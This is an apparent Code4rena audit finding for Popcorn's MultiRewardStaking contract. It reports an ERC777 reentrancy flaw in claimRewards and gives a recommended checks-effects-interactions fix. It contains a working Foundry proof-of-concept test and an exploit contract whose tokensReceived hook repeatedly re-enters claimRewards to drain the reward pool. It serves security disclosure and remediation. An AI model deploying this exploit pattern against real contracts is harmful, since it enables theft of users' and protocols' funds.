Platform: Code4rena
Start Date: 31/01/2023
Pot Size: $90,500 USDC
Total HM: 47
Participants: 169
Period: 7 days
Judge: LSDan
Total Solo HM: 9
Id: 211
League: ETH
Rank: 103/169
Findings: 2
Award: $40.09
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xdeadbeef0x
Also found by: 0Kage, 0xNazgul, 0xRobocop, Aymen0909, KIntern_NA, Kenshin, KingNFT, Krace, Kumpa, SadBase, aashar, apvlki, btk, cccz, critical-or-high, eccentricexit, fs0c, gjaldon, hansfriese, immeas, mert_eren, mgf15, mrpathfindr, orion, peanuts, rvi0x, rvierdiiev, supernova, ulqiorra, waldenyan20, y1cunhui
4.6115 USDC - $4.61
https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L170-L188
The MultiRewardStaking.sol
contract allows owners to add any token as the reward token, including ERC777 tokens which are compatible with ERC20. However, using ERC777 tokens introduces to a reentrancy vulnerability.
An attacker can drain the entire reward token pool by exploiting the tokensReceived
hook in the ERC777 standard. This hook is triggered after a transfer has occurred, allowing the attacker to repeatedly call the claimRewards
function in the tokensReceived
hook before the accruedRewards[user][_rewardTokens[i]]
variable is set to 0, draining the whole rewards pool.
It is assumed that the rewardToken
is an ERC777 Token. 10 rewardToken
were minted and added to the MultiRewardStaking.sol
reward token pool with a reward rate of 0.1 per second. The attacker then deposited 1 staking token to the pool, thereby becoming eligible to receive accrued reward tokens. After 10 blocks have passed, the attacker would have received 10% of the total rewards.
However, due to the tokensReceived
hook function in the ERC777 standard, which is triggered after a transfer has taken place, the attacker can repeatedly call the claimRewards
function in the tokensReceived
hook, leading to a potential drain of the entire reward token pool.
File: test/MultiRewardStaking.t.sol function test__accrual_on_claim_reentrancy() public { IERC1820Registry _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient"); _erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); MultiRewardStakingExploit exploit = new MultiRewardStakingExploit(address(staking), address(stakingToken), address(iRewardToken3)); // Prepare array for `claimRewards` IERC20[] memory rewardsTokenKeys = new IERC20[](1); rewardsTokenKeys[0] = iRewardToken3; rewardToken3.mint(address(this), 10 ether); rewardToken3.approve(address(staking), 10 ether); staking.addRewardToken(IERC20(address(rewardToken3)), 0.1 ether, 10 ether, false, 0, 0, 0); stakingToken.mint(address(exploit), 5 ether); vm.startPrank(alice); exploit.approve(address(staking), 5 ether); // stakingToken.approve(address(staking), 5 ether); exploit.deposit(1 ether); // staking.deposit(1 ether); // 10% of rewards paid out vm.warp(block.timestamp + 10); staking.accruedRewards(address(exploit), iRewardToken3); uint256 callTimestamp = block.timestamp; staking.claimRewards(address(exploit), rewardsTokenKeys); assertEq(rewardToken3.balanceOf(address(exploit)), 10 ether); (, , , uint224 index, uint32 lastUpdatedTimestamp) = staking.rewardInfos(iRewardToken3); assertEq(uint256(index), 2 ether); assertEq(uint256(lastUpdatedTimestamp), callTimestamp); assertEq(staking.userIndex(address(exploit), iRewardToken3), index); assertEq(staking.accruedRewards(address(exploit), iRewardToken3), 0); } function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external { // do nothing }
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.15; import "./MultiRewardStaking.sol"; import "openzeppelin-contracts/token/ERC777/IERC777Recipient.sol"; import "openzeppelin-contracts/utils/introspection/IERC1820Registry.sol"; contract MultiRewardStakingExploit is IERC777Recipient { MultiRewardStaking public staking; IERC20 public token; IERC20 public rewardToken; uint256 _count = 0; IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 private constant TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient"); constructor(address _stakingAddress, address _tokenAddress, address _rewardTokenAddress) { staking = MultiRewardStaking(_stakingAddress); token = IERC20(_tokenAddress); rewardToken = IERC20(_rewardTokenAddress); _erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); } function deposit(uint256 _amount) external { staking.deposit(_amount); } function approveRewardsToken() external { rewardToken.approve(address(staking), 10 ether); } function approve(address spender, uint256 amount) external returns (bool) { token.approve(spender, amount); return true; } function tokensReceived( address /*operator*/, address /*from*/, address /*to*/, uint256 /*amount*/, bytes calldata /*userData*/, bytes calldata /*operatorData*/ ) external override { IERC20[] memory rewardsTokenKeys = new IERC20[](1); rewardsTokenKeys[0] = rewardToken; if (_count == 9) { return; } _count += 1; staking.claimRewards(address(this), rewardsTokenKeys); } }
Due to the presence of a reentrancy vulnerability, the user, who was only supposed to receive 1 reward token, can drain the entire pool of 10 deposited tokens.
Foundry, Manual Review
Add openzeppelin nonReentrant modifier to the claimRewards()
function, or state clear in the documentation that this protocol should not be used with ERC777 tokens or use the Checks Effects Interactions pattern.
Example:
function claimRewards(address user, IERC20[] memory _rewardTokens) external accrueRewards(msg.sender, user) { for (uint8 i; i < _rewardTokens.length; i++) { uint256 rewardAmount = accruedRewards[user][_rewardTokens[i]]; if (rewardAmount == 0) revert ZeroRewards(_rewardTokens[i]); EscrowInfo memory escrowInfo = escrowInfos[_rewardTokens[i]]; + accruedRewards[user][_rewardTokens[i]] = 0; //@audit Follow Checks-Effects-Interaction if (escrowInfo.escrowPercentage > 0) { _lockToken(user, _rewardTokens[i], rewardAmount, escrowInfo); emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, true); } else { _rewardTokens[i].transfer(user, rewardAmount); emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, false); } - accruedRewards[user][_rewardTokens[i]] = 0; } }
#0 - c4-judge
2023-02-16T07:40:07Z
dmvt marked the issue as duplicate of #54
#1 - c4-sponsor
2023-02-18T12:11:13Z
RedVeil marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-23T00:20:34Z
dmvt marked the issue as satisfactory